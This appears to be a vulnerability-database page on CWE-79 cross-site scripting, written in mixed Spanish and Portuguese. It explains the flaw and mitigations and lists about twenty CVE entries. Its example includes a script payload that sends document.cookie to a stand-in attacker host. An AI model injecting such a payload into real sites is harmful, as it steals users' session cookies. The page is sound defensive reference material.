Fallos del tipo CWE-79

30.215 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-24611—Keywords & Meta <= 3.0 - CSRF to Stored Cross-Site Scripting (XSS)EPSS 0.3%CVE-2024-11934MEDIUMFormaloo Form Maker & Customer Analytics for WordPress & WooCommerce <= 2.1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-56293MEDIUMWordPress AFI – The Easiest Integration Plugin <= 1.95.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-34558CRITICALCI4MS: Methods Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2026-32851MEDIUMMailEnable < 10.55 Reflected XSS via FreeBusy.aspx StartDate ParameterEPSS 0.3%CVE-2024-56298MEDIUMWordPress Pretty Simple Popup Builder Plugin <= 1.0.9 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-20258MEDIUMA vulnerability in the web-based management interface of Cisco AsyncOS Software for Cisco Secure Email and Web Manager and Secure Email GateEPSS 0.3%CVE-2024-2579MEDIUMWordPress Tracking Code Manager plugin <= 2.0.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-30554MEDIUMWordPress DD Rating plugin <= 1.7.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-101928HIGHMagic Tooltips For Contact Form 7 <= 1.0.34 - Unauthenticated Stored Cross-Site Scripting via 'esc_html' Filter Override via Comment AuthorEPSS 0.3%CVE-2025-22570HIGHWordPress Inline Tweets plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-62618HIGHELOG file upload stored XSSEPSS 0.3%CVE-2025-10234MEDIUMScada-LTS Data Point Edit data_point_edit.shtm cross site scriptingEPSS 0.3%CVE-2025-2366MEDIUMgougucms Add Department Page add cross site scriptingEPSS 0.3%CVE-2024-52492MEDIUMWordPress Image horizontal reel scroll slideshow plugin <= 13.4 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-34557CRITICALCI4MS: Permissions Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2024-32083MEDIUMWordPress Easy Logo plugin <= 1.9.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-29038MEDIUMchangedetection.io: Reflected XSS in RSS Tag Error ResponseEPSS 0.3%CVE-2024-8708MEDIUMSourceCodester Best House Rental Management System categories.php cross site scriptingEPSS 0.3%CVE-2024-6703MEDIUMContact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.19 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Welcome Screen FieldsEPSS 0.3%